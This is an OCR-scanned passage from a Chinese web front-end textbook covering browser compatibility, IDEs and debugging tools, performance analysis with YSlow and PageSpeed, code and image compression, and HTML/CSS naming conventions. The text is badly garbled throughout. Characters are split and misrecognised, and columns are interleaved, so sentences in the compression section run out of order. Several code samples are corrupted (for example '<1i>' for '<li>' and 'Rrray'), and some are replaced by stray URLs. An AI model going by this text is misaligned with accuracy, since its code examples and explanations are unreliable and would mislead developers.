IE 6 已 经 基本 退出 了 历史 舞台 ， 在 开发 过 程 中 可 以 不 再 考虑 兼容 IE 6 的 问题 。 针 对 IE 6 用 户 ， 仅 显示 提示 升级 信息 即 可 。IE 7 和 IE 8 的 占有 率 目前 还 很 高 ， 但 其 表现 和 标准 的 浏览 器 有 一 定 的 差距 。 这 里 




































































并 不 打算 介绍 IE 系列 浏览 器 的 具体 兼容 问题 ， 但 需要 强调 的 是 ，IE 7 和 IE 8 的 兼容 问题 是 目前 浏览 器 兼容 的 主要 关注 点 。 
2.HTML5 的 兼容 



































最 近 几 年 ，HTML5 发 展 迅速 ， 其 大 量 的 新 特性 也 广泛 应 用 。 尽 管 各 浏览 器 也 加 快 了 对 新 标准 支持 的 脚步 ， 但 支持 的 步调 并 不 一 致 ， 总 有 一 些 特性 并 不 能 被 所 有 的 浏览 器 支持 。 此 外 ， 使 用 HTML5 新 特 
性 的 同时 也 必定 要 考虑 上 日 浏览 器 兼容 的 问题 ， 如 果 要 使 用 HTML5 中 的 新 特性 ， 就 必须 明确 浏览 器 支持 的 范围 ， 考 虑 对 于 不 支持 的 浏览 器 如 何 做 到 平稳 降级 。 






























































浏览 器 兼容 问题 直接 影响 到 方案 的 选择 问题 ， 应 该 在 开发 阶段 就 进行 浏览 器 的 兼容 性 测试 ， 不 仅 要 在 多 个 浏览 器 中 测试 ， 甚 至 还 包括 在 相同 浏览 器 的 不 同 版 本 中 测试 ， 只 有 这 样 才能 确保 设计 的 效果 可 
完美 地 呈现 在 所 访问 的 浏览 器 中 。 此 外 ， 为 了 把 浏览 器 的 兼容 问题 降 到 最 小 ， 在 开发 过 程 需要 遵循 以 下 一 些 准 则 。 





(1) 编写 高 质量 、 标 准 的 HTML 











不 标准 或 者 无 效 的 HTML， 可 能 在 某 个 浏览 器 中 可 以 正常 显示 ， 但 是 很 难保 证 在 所 有 的 浏览 器 或 者 将 来 新 版 本 的 浏览 器 中 正确 显示 。 要 让 网 页 在 所 有 浏览 器 中 的 显示 效果 相同 ， 最 有 效 的 方法 就 是 编写 
高 质量 和 标准 的 HTML 与 CSS 代 码 。 为 了 确保 代码 的 高 质量 和 标准 ， 可 以 使 用 一 些 标准 验证 工具 ， 如 W3C 提 供 的 HTML 和 CSS 的 标准 验证 工具 以 及 检查 JavaScript 代 码 规范 的 JSLint 等 。 
























































(2) 明确 支持 的 浏览 器 范围 






































多 浏览 器 的 支持 一 直 是 Web 开 发 中 的 难点 ， 浏 览 器 的 版 本 众多 并 且 对 标准 的 支持 并 不 相同 ， 很 难 在 主流 浏览 器 中 做 到 网 页 的 展示 和 交互 都 完全 符合 设计 要 求 。 因 此 ， 在 Web 项 目 开发 之 初 就 应 该 明确 浏 
览 器 的 支持 范围 ， 并 在 不 支持 的 浏览 器 访问 的 时 候 引导 用 户 下 载 和 使 用 支持 的 浏览 器 。 在 支持 的 浏览 器 中 也 并 非 能 做 到 所 有 浏览 器 中 的 展示 效果 和 交互 都 满足 设计 要 求 。 如 下 是 浏览 器 支持 的 4 个 标准 ， 可 供 
在 确认 浏览 器 支持 情况 时 参考 。 













































































“ 外 观 和 交互 符合 设计 需求 。 
“外观 上 有 所 差异 ， 但 不 影响 整体 的 效果 。 

“ 外 观 和 设计 不 符合 ， 但 不 影响 页 面 的 交互 。 
“ 完全 不 支持 设计 的 功能 


在 明确 浏览 器 支持 时 ， 可 按照 此 4 类 浏览 器 支持 的 标准 制定 浏览 器 支持 情况 列表 ， 供 开发 和 测试 参考 。 











多 浏览 器 测试 是 个 耗费 精力 的 工作 ， 不 太 可 能 同时 测试 所 有 的 浏览 器 以 及 浏览 器 的 各 种 版 本 ， 在 开发 阶段 只 需要 重点 测试 网 站 支持 的 浏览 器 就 足够 了 。 对 于 Chrome、Safari、Firefox 等 高 级 浏览 器 ， 
它们 的 更 新 频繁 ,一般 只 需要 支持 最 新 版 本 即 可 。Chrome 和 Safari 浏 览 器 有 相同 的 WebKit 浏 览 器 内 核 ， 在 开发 过 程 中 可 以 重点 测试 其 中 一 个 浏览 器 。IE 系 列 浏览 器 各 版 本 之 间 的 差异 较 大 ， 开 发 和 测试 过 
程 中 需要 测试 所 有 支持 的 IE 浏 览 器 版 本 。IE Tester 是 个 很 好 的 IE 兼 容 测试 工具 ， 可 以 模拟 各 个 版 本 的 IE 浏览 器 ， 当 然 也 可 以 简单 地 更 改 1E 浏 览 器 泻 染 模式 来 查看 低 版 本 IE 浏 览 器 中 泻 染 的 效果 。 另 外 ，IE 9 浏 
览 器 自 带 的 IE Dev Toolbar 可 以 方便 地 切换 各 版 本 模式 ， 如 从 项 目 开始 就 得 明确 要 支持 的 浏览 器 范围 ， 当 有 不 支持 的 浏览 器 访问 时 要 引导 用 户 下 载 和 使 用 支持 的 浏览 器 ， 如 图 2-2 所 示 。 
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| File Find Disable View Images Cache Tools Validate | E02 Document Mode Quirks 








| HTML CS9 Console Script Profiler Network Intemet Explorer 7 


Internet Explorer 8 Layout Attributes 
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[TE Internet Explorer 9 


Internet Ee 9 Compatibility View 











图 2-2 IE Dev Toolbar 工 具 中 的 浏览 器 版 本 切换 菜单 


(3) 尽量 避免 出 现 浏览 器 兼容 问题 

















浏览 器 兼容 技能 属于 开发 技巧 ， 不 属于 开发 技术 。 开 发 技巧 在 某 些 场合 的 确 能 起 到 事半功倍 的 效果 ， 但 带 来 的 问题 会 是 代码 的 难 理解 和 难 维护 。 例 如 ， 为 了 使 CSs 兼 容 IE 7 而 在 CSS 属 性 前 面 添加 的 星 号 
， 增 加 了 代码 量 同 时 降低 了 可 读 性 。 因 此 ， 遇 到 兼容 问题 ， 首 先 考虑 是 否 可 以 更 改 方案 ， 使 用 没有 兼容 问题 的 代码 等 ， 其 次 再 考虑 如 何 兼 容 的 问题 。 兼 容 | 系列 的 浏览 器 ， 建 议 使 用 |E 特 有 的 条 件 表达 
让 兼容 相关 的 代码 独立 ， 提 高 代码 的 可 维护 性 。 







































































(4) 使 用 HTML5 新 特性 时 做 好 平稳 降级 





目前 ， 在 前 端 开 发 中 对 HTML5 兼 容 ， 实 属 无 奈 之 举 。HTML5 的 兼容 包括 : 新 标签 的 兼容 、CSS3 的 兼容 ， 以 及 新 增加 的 API 的 兼容 。HTML5 中 的 新 标签 并 不 能 被 IE 7 和 IE 8， 以 及 其 他 旧 浏 览 器 所 支持 ， 
当然 可 以 通过 一 些 技巧 让 新 标签 在 这 些 浏览 器 中 正常 展现 ， 如 可 以 使 用 html5shiv 框 架 []。 (CSS 本身 的 泻 染 特点 使 得 在 开发 中 可 以 直接 使 用 CSS3 中 的 新 特性 ， 如 果 浏览 器 不 支持 CSS3 的 新 特性 ， 则 会 直接 忽 
略 ， 不 会 产生 语法 错误 。HTML5 新 增加 接口 的 使 用 过 程 中 ， 必 须 添加 条 件 判断 。 框 架 Modernizr 四 已 经 很 好 地 封装 了 对 HTML5 新 特性 的 判断 ， 推 荐 在 实际 项 目 中 使 用 。 在 使 用 新 特性 时 有 必要 了 解 特性 在 
各 浏览 器 中 的 支持 状况 ， 推 荐 使 用 “Can | use” 中 网 站 查询 新 特性 的 浏览 器 兼容 情况 ， 如 查询 浏览 器 对 CSS3 中 的 圆 角 支持 情况 ( 见 图 2-3) 。 
















































































































































































Usage sts: Global 


+ CSS3 Border-radius (rounded corners) - candidate Recommendation Sup po SA 
Method of making the boroer corners round Partial support 一 -一 Gy 
Towl: Bl.56% 





Ee 22 
7.0 4.0-4.1 p tr 
8.0 15.0 4,2-4. 了 3 3.0 
9.0 16.0 22.0 5.1 5.0-5.1 4.0 
Current 10.0 17.0 23.0 6.0 12.t 6.0 5.0-7.0 4.1 7.0 
Near future 18.0 24.0 12,5 10.0 
Farther future 19.0 25.0 
Notes Knownissues{3) | Resources 人 5 Feedback Editon GitHub 
No notes 


图 2-3 CSS3 Border-radius 对 应 的 浏览 器 支持 
[1] https://github.com/aFarkas/html5shiv 
[2] http://modernizrcom 


[3] http://caniuse.com 


2.5 ”Web 前 端 代码 开发 和 调试 
2.5.1 Web 前端 集成 开发 环境 


很 多 集成 开发 环境 (IDE) 都 集成 了 前 端 代码 IDE， 如 Visual Studio、Eclipse 等 ， 但 在 纯粹 的 前 端 开发 中 ， 这 些 IDE 显 得 不 够 强大 而 且 不 够 轻 量 。 这 里 推荐 两 款 强大 的 IDE: Aptana Studio[0 和 
WebstormD]。 








Aptana studio 是 一 个 开源 的 Web 开 发 工具 ， 有 非常 强大 的 JavaScript 编 辑 器 和 调试 器 ( 见 图 2-4) 。 它 的 主要 特性 包括 : 

















@OA Web - webapp/scripts/reader.js ~ Aptana Studio 3 - /Users/hunterdang/Documents/Aptana Studio 3 Workspace 
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reader .flip.js reader.scripture,js site. settings .js 
reader .annotation. js reader .js reader.ui, js site,.util.js 
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图 2-4 Aptana Studio 编 辑 器 的 界面 


"JavaScript 函 数 、HITML 及 CSS 的 Code Assist 功 能 。 


“ 显示 JavaScript、HTML 及 CSS 代 码 的 结构 。 


“ 代码 语法 错误 提示 。 
“ 调试 JavaScript 代 码 。 


“ 支持 流行 的 AJAX 框 架 的 智能 提示 : jQuery、Prototype、YUI、ExtJS 等 。 





Webstorm 是 JetBrains 专 门 为 Web 开 发 人 员 提 供 的 一 款 商 业 的 Javascript 开 发 工具 ( 见 图 2-5) 。 其 功能 和 Aptana Studio 类 似 ， 主 要 有 智能 代码 提示 、 代 码 格式 化 、 代 码 调试 、 代 码 结 构 展示 、 代 码 重 
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图 2-5 ”WebStorm 编 辑 器 的 界面 


2.5.2 ”Web 前 端 代码 调试 


各 主流 浏览 器 都 自 带 的 有 调试 工具 ， 如 IE 浏 览 器 自 带 的 I[E Dev Toolbar，Chrome 浏 览 器 自 带 的 Developer Tools，Firefox 浏 览 器 插件 Firebug，Safari 浏 览 器 自 带 的 Develop 系 列 工 具 。 这 些 工具 的 功 
能 类 似 ， 都 可 以 查看 HTML、CSS 代 码 ， 动 态 更 改 页 面 的 HTML 和 CSS 代 码 并 实时 查看 修改 效果 ， 也 可 以 调试 JavaScript 代 码 的 执行 。 这 些 自 带 的 工具 基本 可 以 满足 前 端的 代码 调试 工作 。 


图 2-6 展 示 的 是 Chrome 自 带 的 Developer Tools。 





<iDOCTYPE html> 
vehtml xmlns="http://www.w3.0rg/1999/xhtml"> 
bp <head>.</head> 
v<body> 
<!-—top nav 一 > 
p<div id="reader_header_container”clLass="reader-header-container">-</div> } i 二 
p<div ctass="reader-header-main'">-</div> [MatchedCssRules 
<|! 一 reader library-—> html, body, nm 2 
p<div id="reader_welcome_container">.</div> iframe, div, dl, dt, dd, ul, ol, 
<! 一 footer 一 > 1i, th, td { 
div ="*reader_footer_cont : 2 te Tr margin: 0; 
</body> padding: » 0; 
</html> } 





div { user agent stylesheet 
display: block; 
} 
[inherited from body 
body { 
font-family: myriad— 
pro,myriadpro— 
regular,"Lucida 
Sans","Lucida 
Grande","Lucida Sans 
Unicode",arial, sans-serif; 
font-size: 12px; 
color: 图 #292920; 














[= 并 并 QQ html body jivereader_footer_container.reader-footer-container 


图 2-6 ”Chrome 浏览 器 中 的 Developer Tools 


2.5.3 ”Web 前 端 性 能 分 析 











常 








的 Web 前 端 性 能 分 析 工 具有 YSlowB]、PageSpeed 欠 及 各 浏览 器 


“ 基于 不 同 的 规则 评定 网 站 整体 性 能 评分 。 


“ 给 出 提高 网 页 性 能 的 建议 。 














. 统计 页 面 加 载 的 组 件 。 
. 页 面 的 统计 信息 视图 。 
. 相关 性 能 分 析 的 工具 集 ， 如 JSLint、Smushit 等 。 



































带 的 开发 工 














等 。YSlow 是 由 雅虎 公司 开发 的 一 款 免费 工具 ， 主 要 的 特性 有 : 











YSlow 可 以 以 插件 的 形式 安装 在 多 个 浏览 器 上 ， 如 Firefox、Chrome、Opera、Safari 及 一 些 移动 浏览 器 等 。 














2-7 所 示 为 在 Firefox 浏 览 器 中 YSlow 作 为 Firebug 的 一 部 分 。 
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Grade OO Overall performance score B1 Ruleset applied: YSiow(V2) URL: hps://reader.llfeway.com/ 


ALL{23) FILTERBY: CONTENT {6)| COOKIE (2)| C55 (5)| JIMAGES (2) | JAVASCRIPT (9) | SERVER (6) 


Make fewer HTTP requests 





Use a Content Delivery Network (CDN} 
Avoid empty src or href 
Add Expires headers 


Compress components with gzip 





Put C55 at top 





A 
F 
A 
区 
E 
A 
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Put JavaScript at bottom 
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Avoid CSS expressions 





n/ 


a Make JavaScript and CSS external 
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Reduce DNS lookups 





Minify JavaScript and CSS 





Avold URL redirects 





Remove duplicate javascript and C55 
Configure entity tags (ETags) 
Make AJAX cacheable 


Use GET for AJAX requests 





YSlow 的 性 能 分 析 基 于 23 条 规则 ， 这 23 条 规则 是 雅虎 公司 性 能 改进 团 





A 
A 
A 
A 
A 
A 
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Reduce the number of DOM elements 





Grade A on Make fewer HTTP requests 


This page has 4 external javascript scripts. Try combining them into one. 


WTweet 四 Share 





Decreasing the number of components on a page reduces the number of HTTP requests requlred to render the page, resulting In faster page loads. Some ways to reduce the 
number of components include: combine files, combine multiple scripts Into one script, combine muitiple C55 files Into one Sryie sheet, and use CSS Sprites and Image maps. 


sRead More 


Copyright © 2012 Yahool Inc All rights reserved 


则 及 具体 说 明 ， 值 得 前 端 开发 者 仔细 阅读 和 学 习 。 


PageSpeed 出 自 于 Google 公 司 ， 也 是 一 款 免费 的 工 









































各 主流 浏览 器 自 带 的 开发 工具 








也 可 以 


省 助 检测 网 页 的 























下 载 所 


告 ，Audits 中 提供 了 各 种 资源 和 配置 优化 的 建议 和 未 使 


2.5.4 


在 网 站 发 布 时 ， 一 般 会 压缩 前 端 HTML、CSS、JavaScript 代 码 及 用 到 的 资源 文件 (主要 是 
加 快 代码 或 资源 文件 传输 的 方式 ， 但 压缩 代码 和 资源 文件 是 最 简 





代码 和 资源 的 压缩 与 合并 





压缩 的 具体 实践 方法 。 


(1 


在 HTTP 中 人 允许 客户 端 可 以 选择 从 服务 器 上 下 载 压缩 的 内 容 ，Gzip 就 是 其 中 一 种 支持 的 格式 。Gzip 是 一 种 常见 的 压缩 算法 ， 可 以 参考 维基 百科 
部 分 的 主流 Web 服 务 器 (比如 IIS、Nginx、Apache、Lighttpd 等 ) 和 主流 





的 体积 ， 


) Web 服 务 器 开启 Gzip 压缩 





尤其 是 文本 文件 。 








， 提 供 了 在 线 工 














性 能 ， 比 如 Chrome 的 开发 工 
的 时 间 ，Timeline 中 可 以 查看 网 页 泻 染 和 交互 过 程 中 各 步骤 所 花费 的 时 间 ， 从 资源 的 加 载 到 JavaScript 的 解析 执行 、 样 式 的 应 








2-7 YSlow 性 能 分 析 工 具 











和 浏览 器 插件 两 种 方式 。 功 能 和 YSlow 类 似 ， 只 是 检查 的 规则 稍 有 不 同 。 









































Css 规则 的 列表 。 这 4 项 功能 会 极 大 地 帮助 开发 者 检测 并 优化 网 页 性 能 。 

















的 浏览 器 的 支持 。 服 务 器 配置 人 员 可 以 查看 服务 器 对 应 的 配置 文档 ， 











图 


片 文件 ) ， 目 的 是 加 快 文件 在 网 络 中 的 传输 ， 让 网 页 以 更 快 的 速度 















































Web 服 务 器 开启 Gzip 压缩 后 ， 会 在 Response 的 header 中 增加 Content-Encoding:gzip。 可 以 通过 检查 此 header 项 来 判断 服务 器 是 否 开启 了 Gzip 压缩 。 


{这 


JavaScript 压 缩 的 原理 一 般 是 去 掉 多 余 的 空格 和 回 车 、 替 换 长 变量 名 、 简 化 一 些 代码 写法 等 。JavaScript 代 码 压 缩 工 . 
Compressor[7] 和 Closure Compilerl8], UglifyJs 不 仅仅 是 一 个 压缩 工具 


) JavasScript 代 码 压缩 















































、 应 





队 制 定 的 34 条 提高 Web 性 能 “ 军 规 ” 中 的 一 部 分 。YSlow 性 能 评分 也 是 针对 这 23 条 规则 逐 项 评分 的 。 其 官方 网 站 上 列 出 了 这 23 条 规 


。Chrome 的 开发 工具 中 有 Network、Timeline、Profiles 和 Audits 4 个 菜单 项 ，Network 中 可 以 查看 各 资源 请 求 和 
及 绘制 ，Profiles 中 可 以 查看 网 页 的 CPU 及 内 存 占 有 情况 报 


展现 。 当 然 ，CDN 分 发 、 缓 存 等 方式 也 是 
和 有 效 的 手段 之 一 。 代 码 压 缩 的 优点 逐渐 得 到 了 大 部 分 开发 者 的 认可 ， 并 已 经 成 为 Web 前 端 开 发 中 不 可 或 缺 的 一 个 步骤 。 以 下 是 代码 和 资源 


中 关于 这 种 算法 的 详细 介绍 Pl。 目前 ，Gzip 已 经 得 到 了 大 
启 Gzip 压缩 。 服 务 器 启用 了 Gzip 压缩 后 ， 代 码 文件 有 更 小 





























很 多 ， 有 在 线 工 程序 、 编 辑 器 插件 。 其 中 使 





var a = 10; var b = 20; ==> var a=10, b=20; 


i 
i 
new 


(foo) bar(); 
(foo) bar(); 一 > foo&g&bar(); 
Rrray(1， 2, 3, 4) => 


[Le 有， 3 














， 同 时 具 


有 Javascript 语 法 分 析 和 代码 美化 功能 ， 包 括 代码 缩减 、 代 码 转化 等 。 如 : 


最 多 的 是 UglifyjsI@、YUl 





else baz () ; 一 > foo?bar () :baz () 7 





Closure Compiler 出 

















Google 公 司 ， 功 能 和 UglifyJs 类 似 ， 只 是 压缩 的 算法 不 同 。 








YUI Compressor 出 自 雅 虎 公 司 ， 此 工具 不 同 于 以 上 两 个 工具 。 











这 3 个 工具 都 有 对 应 的 在 线 版 本 ， 也 可 以 本 地 安装 后 使 














(3) CSs 代 码 压缩 


CSSs 代 码 压缩 原理 和 Javascript 代 码 压缩 的 原理 类 似 ， 也 是 去 掉 不 必要 的 空格 、 回 车 、 





background-color:#fff; 
background-image: Url (image.gif); 
background-repeat :no-repeat; 
background-position: top left; 


会 优化 为 : 


命令 行 方式 。 如 果 不 想 手动 压缩 代码 ， 则 可 以 选择 编辑 器 











自动 化 集成 方式 ， 比 如 在 Webstorm 编 辑 器 中 配置 File Watchers。 


注释 等 ， 并 同时 优化 合并 一 些 CSs 规 则 定义 ， 让 规则 更 简洁 。 比 如 下 面 的 代码 : 


UglifyJS 和 Closure Compiler 不 仅 是 Compressor， 同 时 还 是 Compiler， 会 针对 代码 进行 优化 ， 而 YUI Compressor 仅 仅 是 压缩 。 





background: #fff url (image.gif) no-repeat top left; 



































CSS 代 码 压缩 工具 也 有 在 线 、 本 地 应 
Compressor， 它 也 可 以 压缩 CSS 代 码 。 使 有 














程序 和 编译 器 插件 。 比 较 有 名 的 在 线 工 具 是 CSS Compressor 
相同 的 工具 压缩 JjavaScript 和 CSS 代 码 ， 省 去 了 安装 多 个 工具 的 麻烦 。 















































(4) HTML 代 码 压缩 








压缩 HTML 代 码 的 争议 很 大 ， 反 对 的 一 方 觉得 压缩 的 作 
务 器 开启 Gzip 就 足够 了 。 另 外 ， 压 缩 HTML 代 码 也 有 一 些 限制 























引 ， 压 缩 时 可 以 选择 各 种 配置 模式 。 


不 大 ， 不 像 压缩 javascript 和 Css 代码， 压缩 HTML 代 码 仅仅 是 去 掉 空 格 、 回 车 、 注 释 等 无 关 字符 
， 比 如 网 站 开发 时 ，HTML 页 面 并 不 是 单纯 的 HTML 代 码 ， 而 是 和 服务 器 端 脚本 混合 在 一 起 ， 比 如 PHP、ASsP、JSP、AsP.NET 等 。 压 缩 类 似 这 




















动 化 工具 可 以 选择 上 面 















































提 到 的 Javascript 压 缩 工 


























YUI 


于 ， 并 不 会 简化 HTML 代 码 本 身 ， 所 以 觉得 在 服 



























































































































































































































































破坏 








较为 广泛 的 编辑 器 插件 


些 页 面 时 ， 压 缩 的 规则 就 比较 复杂 ， 也 容易 破坏 代码 。 目 前 可 以 使 用 的 HTML 压 缩 工 具 并 不 多 ， 使 用 最 多 的 是 这 款 工具 : HtmlCompressorl10]。 使 用 此 工具 的 时 候 需 要 仔细 调查 和 测试 ， 避 免 压缩 工 
页 面 的 代码 。 

(5) 图 片 资源 压缩 

除了 代码 的 压缩 外 ， 网 页 中 使 用 最 多 的 资源 文件 就 是 图 片 。 在 一 般 的 网 站 中 ， 图 片 资源 所 占 的 比重 还 是 挺 大 的 。 图 片 压缩 工 是 在 线 工具 和 本 地 应 用 程序 ， 还 没有 一 款 使 
可 用 。 还 好 ， 在 一 般 项 目 中 ， 图 片 的 变化 并 不 是 很 大 ， 图 片 的 自动 化 压缩 工具 的 需求 并 不 是 很 迫切 。 

司 片 压缩 工具 也 很 多 ， 以 在 线 工具 居多 。 在 线 工具 中 ， 推 荐 使 用 TinyPNG[I11] 工 具 压 缩 PNG 格 式 图 片 ， 推 荐 使 用 PEGminil13] 压 缩 jPG 格 式 图 片 。 本 地 应 用 程序 ， 则 推荐 ImageOptim[1 引 ， 这 是 一 款 强 





































































































大 的 工具 ， 集 成 了 多 种 压缩 工具 ， 可 以 压缩 多 种 格式 (如 PNG、JPEG 及 GIF 动画 ) 的 








片 ， 支 持 拖 放 操作 ， 使 





[ 
































也 


E 常 方便 。 





























以 上 就 是 网 站 发 布 时 可 以 使 








的 各 种 资源 压缩 工具 。 除 了 在 项 目 中 使 











合适 的 压缩 工具 之 外 ， 何 时 压缩 代码 


b 很 重 











为 压缩 























后 的 代码 会 影响 代码 的 调试 ， 使 得 开发 者 不 易 确定 出 错 代码 的 位 置 ， 调 


试 Javascript 代 码 时 也 不 易 设置 断 点 ， 所 以 推荐 在 开发 后 期 ， 甚 至 是 在 网 站 的 发 布 阶段 做 代码 和 资源 的 压缩 。 如 果 放 在 网 站 发 布 阶段 压缩 ， 则 开发 者 在 开发 过 程 中 不 需要 考虑 代码 压缩 的 问题 ， 方 便 了 开发 





























者 的 开发 与 调试 。 发 布 阶段 压缩 代码 的 方案 也 很 成 熟 ， 比 如 使 用 ANT 工 具 。ANT 是 一 个 基于 Java 的 构建 工具 








， 在 这 个 工具 











中 可 以 构建 代码 和 资源 压缩 的 任务 : 使 



































CSS， 使 用 pegtran 和 OptiPNG 优 化 JPG 和 PNG 文 件 ， 使 用 HtmlCompressor 压 缩 HTML 及 移 除 调试 代码 。 









































目前 比较 流行 的 前 端 自动 化 构建 工具 Grunt[14 也 可 以 集成 代码 和 资源 的 压缩 工 
uglify[15] 插 件 、 压 缩 CSS 代 码 的 grunt-contrib-cssmin[16] 插 件 及 压缩 图 片 的 grunt-contrib-imagemin[17] 插 件 等 。 




















1] http://www.aptana.com/products/studio3 


http://www.jetbrains.com/webstorm/ 


3] http://yslow.org 
4] https://developers.google.com/speed/pagespeed 
5] http://zh.wikipedia.org/wiki/Gzip 
6] https:/ /github.com/ mishoo/ Uglify]JS 


[7] http://developer.yahoo.com/yui/compressor 

















8] https://developers.google.com/ closure/compiler 

9] http:/ /www.csscompressor.com 

10] https://code.google.com/p/htmlcompressor 

11] http:/ /tinypng.org 

12] httl :/ /www.jpegmini.com 

13] htt :/ /imageoptim.com 

14] http://gruntjs.com 

15] https://github.com/ gruntjs/grunt-contrib-uglify 

16] https://github.com/ gruntjs/grunt-contrib-cssmin 
17] htt s:/ /github.com/ gruntjs/ grunt-contrib-imagemin 
2.6 ”前 端 代码 基本 命名 规范 和 格式 规范 


。 在 Grunt 的 插件 列表 页 面 上 ， 














有 很 多 的 压缩 代码 和 资源 文件 的 插件 可 














YUI 压 缩 程序 合并 和 压缩 JavaScript 和 


。 比 如 ， 压 缩 JavaScript 的 grunt-contrib- 


命名 规范 和 格式 规范 是 代码 规范 中 最 基本 的 规范 ， 任 何 代码 的 混乱 都 是 从 命名 和 格式 的 混乱 开始 的 ， 而 意义 明确 的 命名 和 规整 的 代码 格式 则 提高 了 代码 的 可 读 性 与 可 维护 性 ， 给 代码 的 阅读 者 和 维护 者 
留 下 了 良好 的 第 一 印象 。 命 名 规范 和 格式 规范 没有 一 个 统一 的 标准 ， 不 同 的 人 可 能 有 不 同 的 认识 ， 但 是 在 同一 个 项 目 中 ， 必 须 严格 遵守 统一 的 命名 和 格式 规范 。 以 下 推荐 的 规范 是 在 实际 项 目 中 认同 度 较 高 








的 代码 规范 ， 供 读者 参考 。 


2.6.1 HTML 命 名 规范 及 格式 规范 














HTML 代 码 所 有 的 标签 名 和 属性 应 该 都 为 小 写 ， 虽 然 HTML 代 码 是 不 区 分 大 小 写 的， 但 是 W3C 的 规范 建议 小 写 ; 





不 推荐 示例 : 





属性 值 应 该 使 用 双 引 号 闭合 。 


<!-- 不 推荐 示例 ;标签 名 称 大 写 ， 或 者 大 小 写 混合 ， 属 性 值 没有 用 双 引 号 闭合 --> 
<IMG src=demo.jpg alt='test' /> 





推荐 示例 : 





<!- 推 荐 示例 ;标签 名 称 小 写 ， 属 性 值 用 双 引 号 闭合 --> 
<img src="demo.jpg" alt="test" /> 








给 所 有 的 关键 元 素 定 义 元 素 的 id 和 class， 便 于 和 CSS、jJavaScript 交 互 。 因 为 id 名 称 和 class 名 称 有 可 能 作为 检索 值 用 在 JavaScript 代 码 中 ， 所 以 命名 一 定 要 规范 ， 这 样 才能 保证 不 会 出 现 不 必要 的 重复 而 








导致 Bug 的 产生 。 

















推荐 的 做 法 是 根据 语义 和 DOM 树 的 层级 关系 来 定义 合适 的 名 称 ， 名 称 中 全 部 使 用 小 写 ，id 名 称 中 的 关键 词 用 下 划 线 (_) 连接 ，class 的 关键 词 用 中 划 线 (-) 连接 ， 这 样 可 以 最 大 限 











复 。 


不 推荐 示例 : 











度 地 保证 命名 的 不 重 











<!-- 不 推荐 示例 : 命名 简单 随意 ， 很 难保 证 命名 不 重复 --> 
<div id="Reader"> 
<div id="introduce" class="Introduce "> 


</div> 
</div> 





推荐 示例 : 





<!-- 推 荐 示例 : 根据 语义 以 及 上 下 层级 关系 定义 名 称 --> 

<div id="reader"> 
<div id="reader introduce" class="reader-introduce"> 
</div> 

</div> 





如 果 class 名 称 仅 作为 Javascript 调 用 的 “钩子 ”， 则 可 在 名 称 中 添加 “js” 前 缀 。 


示例 代码 : 





<!--class 名 称 仅 作为 JavaScript 调 用 的 "钩子 "， 可 在 名 称 中 添加 "js" 前 级 --> 
<ul id="js_ reader menu"> 

<1i class="menu-toc js-active">Toc</1i> 

<li class="menu-store js-active">Store</1i> 

<1i1 class="menu-library">Library</1i> 

<li class="menu-news">News</1i> 
</ul> 











HTML 代 码 的 层级 缩 进 为 4 个 空格 。 如 果 元 素 包含 子 元 素 ， 则 此 元 素 对 应 的 起 始 标签 和 闭合 标签 分 别 单独 占用 一 行 。 














不 推荐 示例 : 





<! 本 他 标签 树 形 层级 之 间 没 有 缩 进 或 者 缩 进 混乱 --> 
<ul> 


<1i>item1</1i><1i>item2</1i> 
<li>item3</1i><1i>item4</1i></ul> 





推荐 示例 : 





!-- 推 荐 示例 ， 利 用 缩 进 体现 元 素 的 层级 关系 --> 
ul> 

<1i>iteml</1i> 

<1i>item2</1i> 

<1i>item3</1i> 

<1i>item4</1i> 
</ul> 


< 
< 








给 HTML 代 码 添加 必要 的 注释 。 页 面 HTML 代 码 的 注释 不 宜 过 多 ， 添 加 的 原则 是 在 保证 代码 维护 性 的 基础 上 尽量 让 HTML 代 码 简洁 。 基 于 这 样 的 原则 ， 可 以 在 页 面 的 公共 部 分 (如 页 面 的 头 部 、 尾 部 以 及 














侧 边栏 等 ) 、 页 面 经 常 变化 的 部 分 (如 广告 栏 ) 以 及 需要 后 端 代码 注入 的 部 分 添加 注释 。 注 释 添加 的 位 置 在 要 注释 的 代码 上 部 并 单独 占 











示例 代码 : 








一 行 ， 不 要 在 代码 行 的 后 面 直接 添加 。 





<body> 
<!--main header--> 
<div id="reader header"> 
http://www.hzcourse.com/resource/readBook?path=/openresources/teach ebook/uncompressed/15050/0EBPS/Text/... 
</div> 
<!--main content--> 
<div id="reader content"> 
http://www.hzcourse.com/resource/readBook?path=/openresources/teach ebook/uncompressed/15050/0EBPS/Text/... 
<!-- 动 态 绑 定 列表 : toc--> 一 
<ul id="reader content toc"> 
</ul> 
</div> 
<!--main footer--> 
<div id="reader footer"> 
http://www.hzcourse.com/resource/readBook?path=/openresources/teach ebook/uncompressed/15050/0EBPS/Text/... 
</div> 
</body> 





2.6.2 CSS 命名 规范 及 格式 规范 


推荐 的 CSS 类 的 命名 规则 和 元 素 的 id 命 名 规则 相似 ， 只 是 组 成 类 名 称 的 关键 字 的 连接 符 为 中 划 线 (-) 。 


示例 代码 : 





.reader-content-title { 
http://www.hzcourse.com/resource/readBook?path=/openresources/teach ebook/uncompressed/15050/0EBPS/Text/... 
} 





为 了 避免 class 命 名 的 重复 ,命名 时 取 父 元 素 的 class 名 作为 前 缀 。 





/* 父 元 素 的 样式 声明 */ 
.reader-content { 
http://www.hzcourse.com/resource/readBook?path=/openresources/teach ebook/uncompressed/15050/0EBPS/Text/... 


} 
/* 子 元 素 的 class 名 称 以 父 元 素 中 的 class 名 称 作为 前 缀 */ 
.reader-content-body { 
http://www.hzcourse.com/resource/readBook?path=/openresources/teach ebook/uncompressed/15050/0EBPS/Text/... 
} 





在 CSS 样 式 定义 中 ， 左 大 括号 放置 在 选择 器 的 同一 行 ， 并 和 选择 器 之 间 添 加 一 个 空格 分 隔 ， 在 保证 可 读 性 的 基础 上 缩短 代码 的 行 数 ; 在 样式 声明 中 ， 





不 推荐 示例 : 


属性 名 称 和 值 之 间 

















一 个 空格 分 隔 ， 提 高 代码 可 读 








/* 不 推荐 示例 ;CSS 样式 定义 中 的 左 大 括号 单独 占 一 行 ， 样 式 声明 没有 缩 进 或 缩 进 混乱 ， 属 性 名 称 和 值 之 间 没 有 用 空格 分 隔 */ 
.reader-content-title 
{ 
background: #FFF; 

http://www.hzcourse.com/resource/readBook?path=/openresources/teach ebook/uncompressed/15050/0EBPS/Text/... 
} 





推荐 示例 : 





/* CSS 样 式 定义 中 的 左 大 括号 放置 在 选择 器 的 同一 行 ， 样 式 声明 中 属性 名 称 和 值 之 间 用 一 个 空格 分 隔 */ 
.reader-content-title { 
